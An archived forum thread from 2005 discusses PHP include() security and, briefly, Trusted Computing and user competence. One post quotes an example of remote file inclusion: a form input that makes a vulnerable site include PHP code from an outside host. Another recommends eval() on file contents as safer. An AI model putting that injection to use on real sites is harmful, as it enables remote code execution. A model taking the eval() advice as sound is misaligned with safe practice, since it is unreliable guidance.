Jul 17 '05 #35

P: n/a
Brandon Blackmoor wrote:
Tim Tyler wrote:

That's what the "Trusted Computing Group" is trying to remedy - taking
the level of trust away from the end user

Those who do not understand a tool are unlikely to use it correctly.
People who can't be trusted to use computers safely should not use them
(this goes for automobiles and firearms, as well).

And wood chisels! I mean, you just wouldn't believe the damage a sharp wood
chisel can cause in the hands of a novice computer owner, ahem, I mean, novice
homeowner.
--
Joel Farris
twinkledust Designs
http://twinkledust.com

AIM chat: FarrisJoel

Q: Because it reverses the logical flow of conversation.
A: Why is top posting frowned upon?

Jul 17 '05 #36

P: n/a

"Joel Farris" <th*********@valid.address> wrote in message
news:2o********************@comcast.com...
Brandon Blackmoor wrote:
Tim Tyler wrote:

That's what the "Trusted Computing Group" is trying to remedy - taking
the level of trust away from the end user

Those who do not understand a tool are unlikely to use it correctly.
People who can't be trusted to use computers safely should not use them
(this goes for automobiles and firearms, as well).


And who gets to decide who is competent? You? W3C? Some other elitist
group?

The problem with attitudes like this is that they tend to not be able see
past themselves. It reminds me of a saying that a friend of mine has about
gun control laws:

"Nobody is really against gun control. Nobody is really for gun control,
either. See, I do not think you should be able to own so much as a spring
loaded cork gun. I, on the other hand, should be permitted to own rocket
propelled grenades."
Jul 17 '05 #37

P: n/a
"CountScubula" <me@scantek.hotmail.com> wrote in message news:<3y******************@newssvr27.news.prodigy. com>...
True it will not include the source, but only the output, you can write a
php script to output valid code.

an example would be:

<?php
print "<?php\n";
print "// do some evil here\n";
print "?>\n";
?>

and if you included this from another site it would apear to be valid code.

I agree that it is not a PHP concern, but a lack of forethought (hey, I am
guilty too, but I get to it) the same security risks are in perl as well.
they are just easier in php.

One of the biggest things I see, is people taking data from an input from,
and writing it to a file, the doing an incude() on it. just put <?php
include(http://www.bla.com/script.php); ?> into a form input box and your
good to go


One defense is to store all your PHP files outside of the www folder?
Save for index? And hardcode the includes? As in, you have index.php
at the root level of your site, and in it it goes up a level, out of
the reach of the web, to include files, like so:

include("../header.php");
include("../footer.php");
Jul 17 '05 #38

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote in message news:<c3*************@ID-188825.news.uni-berlin.de>...
First line in the manual (So people can't say they didn't know)
The include() statement includes and evaluates the specified file.


Recently, in my own code, I've been trying to get away from include()
entirely. Instead I open the file and read it into a string. Then I
evaluate the string to see it is what I expect. Then I send it to
eval(). Include() is dangerous because you get no chance to test the
code you're about to bring in.
Jul 17 '05 #39

This discussion thread is closed

Replies have been disabled for this discussion.